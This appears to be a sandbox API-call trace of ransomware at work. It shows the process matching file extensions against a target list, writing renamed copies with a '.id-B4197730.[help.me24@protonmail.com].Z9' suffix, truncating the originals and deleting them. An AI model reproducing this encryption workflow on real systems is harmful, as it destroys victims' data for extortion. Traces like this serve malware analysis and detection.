	[0097.346] lstrlenW (lpString=".docx") returned 5
	[0097.346] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0097.346] lstrlenW (lpString=".pdf") returned 4
	[0097.346] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString=".xls") returned 4
	[0097.346] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString=".xlsx") returned 5
	[0097.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0097.346] lstrlenW (lpString=".ppt") returned 4
	[0097.346] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.346] lstrlenW (lpString=".zip") returned 4
	[0097.346] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString=".rar") returned 4
	[0097.346] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.346] lstrlenW (lpString=".bz2") returned 4
	[0097.347] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.347] lstrlenW (lpString=".7z") returned 3
	[0097.347] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.347] lstrlenW (lpString=".dbf") returned 4
	[0097.347] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.347] lstrlenW (lpString=".1cd") returned 4
	[0097.347] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68
	[0097.347] lstrlenW (lpString=".jpg") returned 4
	[0097.347] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.347] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.347] lstrlenW (lpString="J0099161.JPG") returned 12
	[0097.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.347] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7154) returned 1
	[0097.347] CloseHandle (hObject=0x384) returned 1
	[0097.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0097.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0097.348] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.348] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0097.348] GetLastError () returned 0x0
	[0097.348] ReadFile (hFile=0x384, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0) 

Thread:
	id = 11
	os_tid = 0x10f0

	[0068.643] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x5e1190
	[0068.643] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10000) returned 0x30b0048
	[0068.645] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559320
	[0068.645] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x6) returned 0x59e238
	[0068.645] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559338
	[0068.645] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x31ba020
	[0068.648] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559350
	[0068.648] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559350, Size=0x20) returned 0x53eb30
	[0068.648] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x559350
	[0068.648] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x559350, Size=0x20) returned 0x53eb58
	[0068.648] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0068.649] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0068.649] Wow64DisableWow64FsRedirection (in: OldValue=0x2c0ff50 | out: OldValue=0x2c0ff50*=0x0) returned 1
	[0068.649] lstrlenW (lpString="kernel32.dll") returned 12
	[0068.649] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb30 | out: hHeap=0x500000) returned 1
	[0068.649] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0068.649] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb58 | out: hHeap=0x500000) returned 1
	[0068.649] Sleep (dwMilliseconds=0x64) 
	[0068.985] lstrcmpiW (lpString1=".log", lpString2=".Z9") returned -1
	[0068.986] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0068.986] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0069.520] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6004) returned 1
	[0069.520] CloseHandle (hObject=0x2f8) returned 1
	[0069.520] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0069.520] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.520] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0069.520] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.520] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.520] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0069.535] GetLastError () returned 0x0
	[0069.535] ReadFile (in: hFile=0x2f8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1774, lpOverlapped=0x0) returned 1
	[0069.595] WriteFile (in: hFile=0x2fc, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1780, lpOverlapped=0x0) returned 1
	[0069.596] ReadFile (in: hFile=0x2f8, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.597] WriteFile (in: hFile=0x2fc, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x114, lpOverlapped=0x0) returned 1
	[0069.597] SetEndOfFile (hFile=0x2fc) returned 1
	[0069.597] CloseHandle (hObject=0x2fc) returned 1
	[0069.614] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.614] SetEndOfFile (hFile=0x2f8) returned 1
	[0069.828] CloseHandle (hObject=0x2f8) returned 1
	[0069.828] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0069.828] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1
	[0069.828] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.828] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString=".doc") returned 4
	[0069.829] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0069.829] lstrlenW (lpString=".docx") returned 5
	[0069.829] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0069.829] lstrlenW (lpString=".pdf") returned 4
	[0069.829] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0069.829] lstrlenW (lpString=".xls") returned 4
	[0069.829] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0069.829] lstrlenW (lpString=".xlsx") returned 5
	[0069.829] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0069.829] lstrlenW (lpString=".ppt") returned 4
	[0069.829] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0069.829] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString=".zip") returned 4
	[0069.829] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0069.829] lstrlenW (lpString=".rar") returned 4
	[0069.829] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0069.829] lstrlenW (lpString=".bz2") returned 4
	[0069.829] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0069.829] lstrlenW (lpString=".7z") returned 3
	[0069.829] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0069.829] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString=".dbf") returned 4
	[0069.829] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0069.829] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString=".1cd") returned 4
	[0069.829] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0069.829] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString=".jpg") returned 4
	[0069.829] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0069.829] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.829] lstrlenW (lpString=".doc") returned 4
	[0069.829] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0069.829] lstrlenW (lpString=".docx") returned 5
	[0069.830] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0069.830] lstrlenW (lpString=".pdf") returned 4
	[0069.830] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0069.830] lstrlenW (lpString=".xls") returned 4
	[0069.830] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0069.830] lstrlenW (lpString=".xlsx") returned 5
	[0069.830] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1
	[0069.830] lstrlenW (lpString=".ppt") returned 4
	[0069.830] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0069.830] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.830] lstrlenW (lpString=".zip") returned 4
	[0069.830] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0069.830] lstrlenW (lpString=".rar") returned 4
	[0069.830] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0069.830] lstrlenW (lpString=".bz2") returned 4
	[0069.830] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0069.830] lstrlenW (lpString=".7z") returned 3
	[0069.830] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0069.830] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.830] lstrlenW (lpString=".dbf") returned 4
	[0069.830] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0069.830] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.830] lstrlenW (lpString=".1cd") returned 4
	[0069.830] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0069.830] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52
	[0069.830] lstrlenW (lpString=".jpg") returned 4
	[0069.830] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0069.830] Sleep (dwMilliseconds=0x64) 
	[0070.051] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.051] lstrlenW (lpString="eula.rtf") returned 8
	[0070.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0070.052] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=8876) returned 1
	[0070.052] CloseHandle (hObject=0x2c0) returned 1
	[0070.052] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0070.052] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0070.052] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.052] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0070.054] GetLastError () returned 0x0
	[0070.054] ReadFile (in: hFile=0x2c0, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x22ac, lpOverlapped=0x0) returned 1
	[0070.061] WriteFile (in: hFile=0x2f8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0070.062] ReadFile (in: hFile=0x2c0, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.062] WriteFile (in: hFile=0x2f8, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.062] SetEndOfFile (hFile=0x2f8) returned 1
	[0070.063] CloseHandle (hObject=0x2f8) returned 1
	[0070.064] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.064] SetEndOfFile (hFile=0x2c0) returned 1
	[0070.065] CloseHandle (hObject=0x2c0) returned 1
	[0070.065] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.065] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1
	[0070.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.065] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.065] lstrlenW (lpString=".doc") returned 4
	[0070.065] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.065] lstrlenW (lpString=".docx") returned 5
	[0070.065] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.065] lstrlenW (lpString=".pdf") returned 4
	[0070.065] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.065] lstrlenW (lpString=".xls") returned 4
	[0070.066] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.066] lstrlenW (lpString=".xlsx") returned 5
	[0070.066] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.066] lstrlenW (lpString=".ppt") returned 4
	[0070.066] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.066] lstrlenW (lpString=".zip") returned 4
	[0070.066] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.066] lstrlenW (lpString=".rar") returned 4
	[0070.066] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.066] lstrlenW (lpString=".bz2") returned 4
	[0070.066] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.066] lstrlenW (lpString=".7z") returned 3
	[0070.066] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.066] lstrlenW (lpString=".dbf") returned 4
	[0070.066] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.066] lstrlenW (lpString=".1cd") returned 4
	[0070.066] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.066] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.066] lstrlenW (lpString=".jpg") returned 4
	[0070.066] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.067] lstrlenW (lpString=".doc") returned 4
	[0070.067] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString=".docx") returned 5
	[0070.067] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.067] lstrlenW (lpString=".pdf") returned 4
	[0070.067] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString=".xls") returned 4
	[0070.067] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.067] lstrlenW (lpString=".xlsx") returned 5
	[0070.067] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.067] lstrlenW (lpString=".ppt") returned 4
	[0070.067] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.067] lstrlenW (lpString=".zip") returned 4
	[0070.067] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.067] lstrlenW (lpString=".rar") returned 4
	[0070.067] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString=".bz2") returned 4
	[0070.067] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString=".7z") returned 3
	[0070.067] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.067] lstrlenW (lpString=".dbf") returned 4
	[0070.067] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.067] lstrlenW (lpString=".1cd") returned 4
	[0070.067] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0070.067] lstrlenW (lpString=".jpg") returned 4
	[0070.067] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.068] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.068] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.068] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.083] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=77232) returned 1
	[0070.083] CloseHandle (hObject=0x2bc) returned 1
	[0070.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0070.083] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.083] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.084] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.084] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.084] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0070.084] GetLastError () returned 0x0
	[0070.084] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x12db0, lpOverlapped=0x0) returned 1
	[0070.089] WriteFile (in: hFile=0x2c0, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12dc0, lpOverlapped=0x0) returned 1
	[0070.091] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.091] WriteFile (in: hFile=0x2c0, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.092] SetEndOfFile (hFile=0x2c0) returned 1
	[0070.092] CloseHandle (hObject=0x2c0) returned 1
	[0070.094] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.094] SetEndOfFile (hFile=0x2bc) returned 1
